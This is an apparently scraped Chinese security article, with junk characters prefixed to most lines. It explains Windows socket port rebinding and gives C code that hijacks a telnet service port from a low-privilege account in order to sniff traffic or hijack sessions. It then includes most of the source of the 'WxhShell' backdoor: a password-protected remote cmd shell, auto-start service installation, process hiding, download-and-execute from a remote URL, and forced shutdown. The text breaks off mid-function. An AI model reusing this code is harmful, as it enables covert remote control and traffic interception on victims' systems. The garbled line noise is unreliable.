在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
?0+g.,9 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
r}D#(G$ Jo~fri([%Q saddr.sin_family = AF_INET;
0!$y]Gr 3 5L0CM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
iy]?j$B$ (-&d0a9N bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
hv\Dz*XTs0 Y|
ch ; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
YV@efPy}n B##X94aTT 这意味着什么?意味着可以进行如下的攻击:
Z;RUxe|<k R-1MD 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mF jM6pmo AS;qJ)JfzQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@';.$ Aq3\Q>klH) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
&Vgpv#&Cfx wp>
z04
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
@>V;guJC% *vvm8ik 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~oT*@ RU~ku{8? 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
S'hUh'PZ *yjnC 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
={N1j<%fh .V3e>8gw3 #include
W}MN-0 #include
UF*R1{ #include
P~iZae
#include
',LC!^:~Nw DWORD WINAPI ClientThread(LPVOID lpParam);
"dvo@n| int main()
hCd? Kti {
eR6vO5to WORD wVersionRequested;
<yBa5m@/ DWORD ret;
w&Gc#-B WSADATA wsaData;
}N$f=:iI BOOL val;
EUQtl_h/H SOCKADDR_IN saddr;
8Gnf_lkI SOCKADDR_IN scaddr;
\[^!
ys int err;
X;l/D},. SOCKET s;
kLU-4W5t SOCKET sc;
woBx609Aak int caddsize;
;DR5?N/a HANDLE mt;
af9KtX+ DWORD tid;
_nxH;Za wVersionRequested = MAKEWORD( 2, 2 );
T&b_*)=S err = WSAStartup( wVersionRequested, &wsaData );
%%>nM'4< if ( err != 0 ) {
$AE5n>ZD$ printf("error!WSAStartup failed!\n");
b(Tvc return -1;
ftl?x'P% }
M6Np!0G saddr.sin_family = AF_INET;
e"NP]_vh, w-LENdw //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
:2,NKdD \hBzP^*"n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
VO=Ibu&X saddr.sin_port = htons(23);
uZ\+{j= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Z*UVbyC {
.kPNWNrw printf("error!socket failed!\n");
n\JI7A} return -1;
kw]?/s` }
Z[ (d7 val = TRUE;
NVsaV;u //SO_REUSEADDR选项就是可以实现端口重绑定的
_*Z3,*~"X if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e6J^J&`|4 {
7Zdg314 printf("error!setsockopt failed!\n");
!jSgpIp return -1;
()O&O+R|) }
C1UU v=| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ugE!EEy[^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ubOXEkZ8N //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[0]A-#J ZILJXX4 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"* F`,I3 {
y1Z>{SDiq ret=GetLastError();
[w|Klq5 printf("error!bind failed!\n");
_6ck@ return -1;
,$>l[G;Bm }
LCtVM70 listen(s,2);
'@Rk#=85Z while(1)
&r4|WM/ec {
s*<T'0&w0S caddsize = sizeof(scaddr);
::$W
.!Uv //接受连接请求
Y_!+Y<x7v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y68A+
B. if(sc!=INVALID_SOCKET)
gD4vV'| {
dpylJ2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
3Ke6lV)uq if(mt==NULL)
m|{^T/kIbQ {
#5z0~Mg-X printf("Thread Creat Failed!\n");
=r7!QXPH} break;
:/$WeAg }
F4==a8 }
f(~N+2} CloseHandle(mt);
X~D[CwA|` }
8(L2w|+B< closesocket(s);
NjOUe?BQ WSACleanup();
R]&Csr#~ return 0;
2bG3&G }
-n"wXOx3 DWORD WINAPI ClientThread(LPVOID lpParam)
oeZuvPCl {
@*Ry`)T SOCKET ss = (SOCKET)lpParam;
:W1?t*z:[ SOCKET sc;
f5Gn!xF unsigned char buf[4096];
xUsL{24 SOCKADDR_IN saddr;
% ym};7'&b long num;
*K;)~@n
DWORD val;
:=ek~s.UV DWORD ret;
51Y%"v t //如果是隐藏端口应用的话,可以在此处加一些判断
p$'S\W| //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
vJ^~J2#5 saddr.sin_family = AF_INET;
'g,h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L8Tm8) saddr.sin_port = htons(23);
lMvOYv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:,Y1#_\ {
%
_E?3 printf("error!socket failed!\n");
~o"=4q`> return -1;
d-+jb<C& }
3-{BXht) val = 100;
$m2#oI'D if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_
s3d$C?B {
b&&l ret = GetLastError();
kex V~Q return -1;
e7xBi!I)~ }
oYZ
4F if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n>j2$m1[ {
:e;6oC*"q ret = GetLastError();
DlE, aYB return -1;
j7kX"nz }
kF~(B]W( if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
k/wD@H N {
.G!xcQ`? printf("error!socket connect failed!\n");
6Uk+a=Ar closesocket(sc);
4hwb]
Yz closesocket(ss);
J#F5by%8 return -1;
*0!p_Hco }
YxJQ^D` while(1)
:#^qn|{e {
u5k{.& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
hoqZb<: //如果是嗅探内容的话,可以再此处进行内容分析和记录
`HXv_9 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
zH}3J} num = recv(ss,buf,4096,0);
5buW\_G) if(num>0)
D~ Y6%9 send(sc,buf,num,0);
n*wQgC'vw else if(num==0)
ra T9 break;
BL16?&RK num = recv(sc,buf,4096,0);
4F#H$`:[ if(num>0)
3U{
mC}F send(ss,buf,num,0);
d,98W=7 else if(num==0)
',0:/jSz break;
VbvP!<8 }
T3{~f closesocket(ss);
NknS:r&2 closesocket(sc);
$e7%>*?m return 0 ;
BKg8p]`+ }
.s*N1
U?h F8?2+w@P '@.6Rd 8 ==========================================================
/x ?@Mn> VGeTX 4h 下边附上一个代码,,WXhSHELL
nwKp8mfP (6ga*5< ==========================================================
>80k5$t : x&R'wX- #include "stdafx.h"
:kR>wX )tI^2p{ #include <stdio.h>
iF^qbh%%E #include <string.h>
^:{8z;w!( #include <windows.h>
yogavCD9b/ #include <winsock2.h>
\(i'i C #include <winsvc.h>
l[$GOLeS #include <urlmon.h>
lfHN_fE>Mq 7s?#y=M #pragma comment (lib, "Ws2_32.lib")
7! >0 #pragma comment (lib, "urlmon.lib")
FAdTm#tgW] . fja;aG #define MAX_USER 100 // 最大客户端连接数
e+lun
- #define BUF_SOCK 200 // sock buffer
M\m:H3[ #define KEY_BUFF 255 // 输入 buffer
`CS\"|z zK5&,/ #define REBOOT 0 // 重启
Ra|P5 #define SHUTDOWN 1 // 关机
l!x+K& zX_F+"]THt #define DEF_PORT 5000 // 监听端口
#kM|!U= MRt"#CO #define REG_LEN 16 // 注册表键长度
metn& #define SVC_LEN 80 // NT服务名长度
AyO%,6p[ i#*[,
P~ // 从dll定义API
uAA2G\3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e^O:I typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{O2=K#J typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
=;0-t\w! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$M)i]ekm
U=~?ca // wxhshell配置信息
*0>`XK$mWo struct WSCFG {
[WR"#y int ws_port; // 监听端口
!YAX.e char ws_passstr[REG_LEN]; // 口令
k5Cy/gR int ws_autoins; // 安装标记, 1=yes 0=no
-4Hb]#*2 char ws_regname[REG_LEN]; // 注册表键名
Q0R05* char ws_svcname[REG_LEN]; // 服务名
=l43RawAmu char ws_svcdisp[SVC_LEN]; // 服务显示名
a
-Pz<* char ws_svcdesc[SVC_LEN]; // 服务描述信息
-13}]Gls7Q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
9-T<gYl int ws_downexe; // 下载执行标记, 1=yes 0=no
>XgJo7u char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e
n~m)r3& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
x;7l>uR Qf( A };
uM`i!7} jlj ge=#c2 // default Wxhshell configuration
66pjWS
{X struct WSCFG wscfg={DEF_PORT,
.b]sQ' "xuhuanlingzhe",
"KP]3EyPc 1,
>; MJm "Wxhshell",
.gg0rTf=- "Wxhshell",
6U ! P8q "WxhShell Service",
l%EvXdZuOy "Wrsky Windows CmdShell Service",
dB_0B. "Please Input Your Password: ",
* |,N/e 1,
^yPZ$Q "
http://www.wrsky.com/wxhshell.exe",
!{^kH;*u "Wxhshell.exe"
IADHe\. };
wmGcXBHt$ T<0 r, // 消息定义模块
HQP.7.w7 5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Li6|c*K' char *msg_ws_prompt="\n\r? for help\n\r#>";
=\.*CY|;N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
xZ`z+) char *msg_ws_ext="\n\rExit.";
`Qo37B2 char *msg_ws_end="\n\rQuit.";
Mm@G{J\\ char *msg_ws_boot="\n\rReboot...";
|)!f".` char *msg_ws_poff="\n\rShutdown...";
.3C::~: char *msg_ws_down="\n\rSave to ";
qqw P4ceG ,kJ7c;:i char *msg_ws_err="\n\rErr!";
!0@4*>n char *msg_ws_ok="\n\rOK!";
T9V=#+8#" Bn]=T char ExeFile[MAX_PATH];
E_=F'sP? int nUser = 0;
$97O7j@ HANDLE handles[MAX_USER];
T>asH int OsIsNt;
.1[.f}g$J '{2]: SERVICE_STATUS serviceStatus;
S#M8}+ZD, SERVICE_STATUS_HANDLE hServiceStatusHandle;
@[J6JT*E @\&j3A // 函数声明
$"vz>SuB int Install(void);
d2UidDU5qa int Uninstall(void);
|`:cB int DownloadFile(char *sURL, SOCKET wsh);
62HA[cr&) int Boot(int flag);
{ze69 h void HideProc(void);
a5#G48'X int GetOsVer(void);
hP+4{F*}- int Wxhshell(SOCKET wsl);
lq:q0>vyI void TalkWithClient(void *cs);
jM$bWtq2 int CmdShell(SOCKET sock);
qt@/ int StartFromService(void);
+4%~.,<_to int StartWxhshell(LPSTR lpCmdLine);
] x)>q lV^#[% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
ndLEIqOY VOID WINAPI NTServiceHandler( DWORD fdwControl );
,RR{Y- A6=Z2i0w>X // 数据结构和表定义
by>%}#M SERVICE_TABLE_ENTRY DispatchTable[] =
Z2M(euzfi3 {
+JtK VF {wscfg.ws_svcname, NTServiceMain},
,}IcQu'O {NULL, NULL}
f`Fj-<v };
MOQ6&C`7q k3$'K}=d // 自我安装
,h o",y int Install(void)
M^ '1Q.K {
.9vS4C char svExeFile[MAX_PATH];
F&6#j HKEY key;
bBs{PI2(p1 strcpy(svExeFile,ExeFile);
z]N#.utQ U*a#{C7" // 如果是win9x系统,修改注册表设为自启动
{%3WHGr%L if(!OsIsNt) {
@
3=pFYW) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F[}#7}xjA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`$f`55e RegCloseKey(key);
"]=OR> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uNn1qV RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v,}C~L3 RegCloseKey(key);
n0 l|7:Mk return 0;
?sQg{1"Zr }
nZB~l= }
Ij(<(y{?Q1 }
1TTS@\ else {
+1T>Ob;hk G K~A,Miqk // 如果是NT以上系统,安装为系统服务
!d()'N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
r:V
bjmL if (schSCManager!=0)
L!xFhVA< {
Q (f0S SC_HANDLE schService = CreateService
[ojL9.6 (
Q$U.vF7BnP schSCManager,
}BM`4/ wscfg.ws_svcname,
VvW4!1Dl wscfg.ws_svcdisp,
\YzKEYx+ SERVICE_ALL_ACCESS,
qR
cSB SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
:(XyiF<Ud SERVICE_AUTO_START,
TQO|C? SERVICE_ERROR_NORMAL,
G@DNV3Cc svExeFile,
ZOfv\(iJ; NULL,
fC'u-m?!Q' NULL,
sX6\AYF1M NULL,
y<6Sl6l* NULL,
^4`x:6m NULL
@\F7nhSfa );
E}4{{{r if (schService!=0)
R8[VD iM6E {
0 8L;u7u CloseServiceHandle(schService);
tkV[^OeU> CloseServiceHandle(schSCManager);
#D_Ti%.^} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T2rwK2 strcat(svExeFile,wscfg.ws_svcname);
`>\
~y1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
+>C26Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Y[L,rc/j RegCloseKey(key);
|5(un# return 0;
o+hp#e }
!X7z y9 }
O83J[YuzjN CloseServiceHandle(schSCManager);
<y?+xZM]#| }
**m8 HD }
2j4202 &PPnI(s^K return 1;
EC$F|T0f }
{Yxvb** QswPga(- // 自我卸载
je$H}D int Uninstall(void)
>A D!)&c {
e-`9-U%6 HKEY key;
/{buFX2"} yI8O# if(!OsIsNt) {
TkTGYh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fASklcQ RegDeleteValue(key,wscfg.ws_regname);
!KXcg9e RegCloseKey(key);
kq=Htbv7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
t'Yd+FK
RegDeleteValue(key,wscfg.ws_regname);
H$ nzyooh RegCloseKey(key);
f
] *w1 return 0;
@{qcu\sZ }
H%n/;DW }
j6^.Q/{^ }
^kK")+K else {
pWzYC@_W
a`yCPnB( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4;~xRg;u&* if (schSCManager!=0)
ww
%c+O/ {
DOtz SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
H$?MPA-c if (schService!=0)
W:<2" &7 {
,+BFpN' if(DeleteService(schService)!=0) {
*8qRdI9 CloseServiceHandle(schService);
RQ|K?^k
v CloseServiceHandle(schSCManager);
Vfd_nD^8oZ return 0;
I SZEP8w }
^Vth;!o CloseServiceHandle(schService);
Z .`+IN(>E }
Yw=@*CK' CloseServiceHandle(schSCManager);
o&q:b9T }
MA tF, }
wIRU!lIF9 dW/(#KP/+ return 1;
) %Xp?H_ }
_@\-`>J 9r\p4_V // 从指定url下载文件
Se??E+aX int DownloadFile(char *sURL, SOCKET wsh)
85"Szc-# {
H '5zl^8I HRESULT hr;
-"yma_ char seps[]= "/";
/tkV/ char *token;
.vmCKZ char *file;
^&F.T-( A char myURL[MAX_PATH];
<AVWT+, char myFILE[MAX_PATH];
}6u}?>S 'GW~~UhdW strcpy(myURL,sURL);
3J4OkwqD token=strtok(myURL,seps);
uAYDX<Ja9 while(token!=NULL)
0Q> {
lnl>!z file=token;
8}oe))b token=strtok(NULL,seps);
-{L 7%j|R }
r8y,$Mv<)0 p&(z'd GetCurrentDirectory(MAX_PATH,myFILE);
mtFC H strcat(myFILE, "\\");
meB9:w[m strcat(myFILE, file);
%j2 :W\g: send(wsh,myFILE,strlen(myFILE),0);
MYJDfI send(wsh,"...",3,0);
KxmB$x5-=8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
l;z+E_sQ if(hr==S_OK)
)@B! return 0;
W:f )#' else
@B+8' b$9 return 1;
y\6C9%. 1(aib^!B }
MkZoHzg}c Xa}y.qH // 系统电源模块
F+zHgE int Boot(int flag)
qCk`398W {
(Gzq 1+B HANDLE hToken;
L eUp! TOKEN_PRIVILEGES tkp;
q2Gm8>F1y. iF##3H$c if(OsIsNt) {
=v !8i OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
S2I{?y&K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>r:z`^p tkp.PrivilegeCount = 1;
4[r:DM|8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
JDpW7OrDc AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
F%ukT6xp if(flag==REBOOT) {
slA~k;K:_ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
{R~L7uR@O return 0;
/#x0?d{5 }
;cv\v(0 else {
FGMYpapc~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#s=\ return 0;
wXeJjE%j:3 }
j}%C;;MPH }
c@O7,y:`I else {
g{?{N if(flag==REBOOT) {
!q+
%]k?x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
8(6mH'^y return 0;
n?^X/R.22 }
vO;:~ else {
"8[Vb#=*e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
o2y
#Yk return 0;
SsL>K*t5 }
r)w]~)8 }
L~M6ca" Gnqun% return 1;
yle~hL }
a^L'- ( #Nv0d|0\ // win9x进程隐藏模块
G;msq=9| void HideProc(void)
!E/%Hv1 {
A@EUH 9jUm0B{? HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
40LAG if ( hKernel != NULL )
rYA4(rYq {
xe1xP@e? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
m,]h7 xx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
J{#C<C FreeLibrary(hKernel);
"OKsl2e }
yc$8X sns ;fY)7
' return;
])T_&% }
t7$2/C 0K^G>)l // 获取操作系统版本
m}-~VYDj int GetOsVer(void)
p~u11rH {
~u80v h' OSVERSIONINFO winfo;
k@C]~1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
gl6 *bB= GetVersionEx(&winfo);
Y4/ !b if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
?37Kc,o return 1;
r`=!4vY2 else
z9*7fT return 0;
JMYM}G }
S$fCO$bU ^sVB:? // 客户端句柄模块
F;dUqXUu int Wxhshell(SOCKET wsl)
)x&}{k6 % {
e0u*\b SOCKET wsh;
$30lNZK1m8 struct sockaddr_in client;
uw&'=G6v DWORD myID;
\5^GUT iu.+bX|b while(nUser<MAX_USER)
bX]$S 5c_u {
U7cGr\eUu int nSize=sizeof(client);
R*psL&N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
KbF,jm5 if(wsh==INVALID_SOCKET) return 1;
d\aU rsPn !xh.S#B handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
V,Br|r$l( if(handles[nUser]==0)
xyTjK.N closesocket(wsh);
,n?oNU else
`BHPjp> nUser++;
W 7Y5~%@ }
^'c[HVJ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hAp<$7 \lpR+zaF return 0;
N)Z,/w9 }
k@ZmI^ $nbZ+~49 // 关闭 socket
{e8.E<f- void CloseIt(SOCKET wsh)
+3D3[.n {
s4c2 closesocket(wsh);
_[.3I1kG nUser--;
B?J#NFUb ExitThread(0);
U_c.Z{lC4 }
]`Y;4XR :X;'37o#q // 客户端请求句柄
hpJi,4r.d void TalkWithClient(void *cs)
_/5mgn<GK {
H{CG/+x aYQIe7J90J SOCKET wsh=(SOCKET)cs;
M7;P)da char pwd[SVC_LEN];
q.>{d%? char cmd[KEY_BUFF];
pTlNJ!U> char chr[1];
Ey!+rq} int i,j;
$fA%_T_P'P bO%bMZWB!y while (nUser < MAX_USER) {
Ju#t^P H:BWv08~5 if(wscfg.ws_passstr) {
RE(R5n28, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u%vq<|~- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
hqVFb.6[ //ZeroMemory(pwd,KEY_BUFF);
H`;q@ i=0;
Fh4kd>1D while(i<SVC_LEN) {
a$SGFA}V Yvu!Q // 设置超时
\j]i"LpWb fd_set FdRead;
}?=$?3W struct timeval TimeOut;
.* xaI+: FD_ZERO(&FdRead);
wh@;$s"B FD_SET(wsh,&FdRead);
Ul@yXtj TimeOut.tv_sec=8;
+AyrKs?h TimeOut.tv_usec=0;
257pO9] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
%P2GQS-N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
$5`P~Q'U ("k.5$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
@exeHcW61 pwd
=chr[0]; 7 Ld5
if(chr[0]==0xd || chr[0]==0xa) { X
rVF
%
pwd=0; j ,'$i[F'
break; 6WQT,@?
} c3&;Y0SD
i++; E}d@0C:
} {re<S<j&
r_f?H@ v
// 如果是非法用户,关闭 socket 3U0>Y%m| ,
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3%G>TB
} 0m^(|=N-
) )q4Rh
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8(euWS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c-L1 Bkw
B6&;nU>;
while(1) { %EuJ~;x(Mg
qJ b9JL$s
ZeroMemory(cmd,KEY_BUFF); 6.| {l8%r
I65W^b4y
// 自动支持客户端 telnet标准 gUs.D_*
j=0; 0?KY9
while(j<KEY_BUFF) { T\VKNEBo
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xG JX~)
cmd[j]=chr[0]; GRK+/1C
if(chr[0]==0xa || chr[0]==0xd) { ]kQ*t{\
cmd[j]=0; +,&8U&~`
break; 0yhC_mI
} N|OI~boV%
j++; $
\j/s:Y
} v&p|9C@
HrH-e=j
// 下载文件 5J^S-K^r
if(strstr(cmd,"http://")) { ?CgqHmf\\(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); '`#sOH
if(DownloadFile(cmd,wsh)) IvFxI#.ju
send(wsh,msg_ws_err,strlen(msg_ws_err),0); l&@]
else Fy^=LrH=D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LE!xj 0
} Tji G!W8
else { qU(,q/l
3 xSt -MA
switch(cmd[0]) { -\OvOkr
C:+-T+m[
// 帮助 K!c "g,S
case '?': { rz%8Vigb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xx`xDD
break; y3^<rff3Gc
} mhZ{}~
// 安装 9?5'>WO
case 'i': { +>b~nK>M
if(Install()) DlHt#Ob7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ZC{eg+D
else v803@9@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZ\bm$
break; A
dNQS
} ^=f<WKn
// 卸载 s9R#rwIc
case 'r': { J!40`8i
if(Uninstall()) 9K]Li\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *E*=
;BG
else 'aYUF&GG
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V2As 5
break; fhGI
} TPjElBh
// 显示 wxhshell 所在路径 {z~n`ow
case 'p': { }
+
]A?'&
char svExeFile[MAX_PATH]; F xek#
strcpy(svExeFile,"\n\r"); 37OU
strcat(svExeFile,ExeFile); }H^h~E
send(wsh,svExeFile,strlen(svExeFile),0); h0m+u}oP_H
break; z'=8U@P'#
} lyY\P6
X
// 重启 e[<vVe!
case 'b': { gEghDO_G
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (}Q(Ux@X
if(Boot(REBOOT)) >KPxksFR8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=)B+SY'
else { vO>Fj
closesocket(wsh); ,sw|OYb
ExitThread(0); ;gS)o#v0
} Y fRjr
break; Gw!VPFV>W
} sIUhk7Cd8
// 关机 =35g:fL
case 'd': { oT76)O
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <v&L90+s\;
if(Boot(SHUTDOWN)) HQtR;[1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 52X[{
else {
BK$cN>J
closesocket(wsh); o#GZ|9IL
ExitThread(0); Qt-7jmZw1
} f4%Z~3P
break; Z^tTR]u\$
} >A5*=@7bY?
// 获取shell 0R2KI,WI
case 's': { WC&V9Yk
CmdShell(wsh); +2:\oy}!8
closesocket(wsh); 'e&L53n
ExitThread(0); w)C/EHF
break; @c;XwU]2t
} R[#Np`z
// 退出 {5 V@O_*{
case 'x': { |7Dc7p"D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v2w|?26Lf
CloseIt(wsh); eILdq*
break; ^/6LVB *
} =Msr+P9Ai
// 离开 6zbqv 6
case 'q': { <M){rce
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6zyxGJ(
closesocket(wsh); ]A?(OA
WSACleanup(); o,r72>|
exit(1); 0tz7^:|D
break; ^(+ X|t
} `T'[H/
} t=l@(%O 0_
} ^LI\W'K
>Hr&F
nh+
// 提示信息 ~ 3!yd0[k
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @\*`rl]
} .ZOG,h+8
} PJfADB7Y
Y0z)5),[U:
return; XE#a#
} plNoI1st
8}M-b6RV
// shell模块句柄 $?Km3N\?v
int CmdShell(SOCKET sock) fA$2jbGW
{ ahh&h1q7|
STARTUPINFO si; 3<XP/c";
ZeroMemory(&si,sizeof(si)); wZUZ"Y}9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $.Ia;YBf
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G;ihm$Cad
PROCESS_INFORMATION ProcessInfo; t6q7w
char cmdline[]="cmd"; d Dg[ry
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yac4\%ze
return 0; :$=]*54`T
} (X?HuWTm
:Bh7mF-1
// 自身启动模式 QBYY1)6S,
int StartFromService(void) 1La?x'{2MP
{ xcQD]"
typedef struct *Uw" `l
{ gB<1;_KW
DWORD ExitStatus; =L\&}kzB
DWORD PebBaseAddress; Kj7
?_o{
DWORD AffinityMask; +B '<0
DWORD BasePriority; X :#}E7]j
ULONG UniqueProcessId; {^@vCBE+
